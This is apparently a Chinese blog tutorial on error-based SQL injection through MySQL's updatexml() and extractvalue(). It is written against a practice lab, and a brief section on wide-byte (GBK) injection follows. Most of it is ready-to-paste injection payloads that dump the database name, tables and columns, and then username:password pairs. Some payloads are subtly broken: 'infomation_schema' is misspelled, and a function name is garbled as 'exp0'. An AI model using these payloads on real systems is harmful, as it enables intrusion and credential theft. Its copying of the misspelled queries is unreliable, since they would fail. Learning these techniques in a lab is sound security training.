SQL报错注入

SQL注入报错注入

报错注入原理:报错注入是通过特殊函数错误使用并使其输出错误结果来获取信息的在遇到有报错回显的时候,但是没有数据回显的情况下可以利用报错注入的函数:
1.floor():向下取整
2.extractvalue(): 对XML文档进行查询的函数,当参数的格式不正确而
产生的错误,会返回参数的信息
3.updatexml(): 更新xml文档的函数,原理跟extracvalue一样
4.exp0:以e为底的指数函数
5.rand()+group()+count()
在这里插入图片描述

updatexml()

函数语法: updatexml(XML_document,XPath_string,new_value);
适用版本:5.1.5+
payload: updatexml(1,concat(0x7e,(select user()),0x7e),1)
前后添加~使其不符合xpath格式从而报错

0x7e是~

extractvalue()

函数语法: EXTRACTVALUE(XML_document,XPath_string);
适用版本:5.1.5+
利用原理与updatexml函数相同
payload: and(extractvalue(1,concat(0x7e,(select user()),0x7e))

流程

1.利用爆破数据库名
and extractvalue(1,concat(0x7e,database(),0x7e)) --+
2.利用爆表名
and extractvalue(1,concat(0x7e,(select group_concat(table_name) from infomation_schema.tables where table_schema=database()),0x7e)) --+
3.利用爆列名
and extractvalue(1,concat(0x7e,(select group_concat(column_name) from infomation_schema.columns where table_name=‘users’),0x7e)) --+
但是可以发现没有全部显示列出来玩吗可以利用and column_name not in(‘id’,‘login’,‘password’,‘email’,‘secret’)来显示其他的值,如果还是没有就全部显示出来就继续加到and 里面的值
and extractvalue(1,concat(0x7e,(select group_concat(column_name) from infomation_schema.columns where table_name=‘users’ and column_name not in(‘id’,‘login’,‘password’,‘email’,‘secret’)),0x7e)) --+
4.利用爆破值
and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e)) --+
同样的没有显示全利用where username not in(‘Dumb’,‘Angelina’)
and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in(‘Dumb’,‘Angelina’)),0x7e)) --+

SQL注入之宽字节注入

1.宽字节注入
原因:
1.现在大多数的网站对于SQL注入都做了一定的方法,例如使用一些Mysql中转义的函数addslashes,mysql_realescape_string,mysql_escape_string等,还有一种是配置magic_quote gpc,不过PHP高版本已经移除此功能。其实这些函数就是为了过滤用户输入的一些数据,对
特殊的字符加上反斜杠“\”进行转义。
2.网站开启了magic_quote gpc,或者使用了上面的转义函数数据库设置成gbk编码(不是html编码)
3.在编码中,gbk编码占用2个字符,ascll占用1个字符,攻击者恶意构造,把ascll字符吃掉,就能进行下一步攻击
在这里插入图片描述

相关推荐

  1. SQL注入注入--实战示例

    2024-02-04 05:58:03       18 阅读
  2. sqli第五关注入

    2024-02-04 05:58:03       18 阅读
  3. GET基于sql注入利用-脱库

    2024-02-04 05:58:03       36 阅读

最近更新

  1. TCP协议是安全的吗?

    2024-02-04 05:58:03       18 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-02-04 05:58:03       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-02-04 05:58:03       18 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-02-04 05:58:03       20 阅读

热门阅读

  1. elasticsearch 索引模版

    2024-02-04 05:58:03       27 阅读
  2. MYSQL基础问题

    2024-02-04 05:58:03       27 阅读
  3. 在 SpringBoot 应用程序中实现 Excel 导出功能

    2024-02-04 05:58:03       31 阅读
  4. 数据爬虫是什么

    2024-02-04 05:58:03       23 阅读
  5. IP路由基础

    2024-02-04 05:58:03       24 阅读
  6. Nginx如何对运行老业务的服务器平滑升级版本

    2024-02-04 05:58:03       29 阅读
  7. 单链表模拟

    2024-02-04 05:58:03       28 阅读
  8. 【Linux多线程编程】互斥锁及其使用

    2024-02-04 05:58:03       28 阅读
  9. NFS服务搭建

    2024-02-04 05:58:03       29 阅读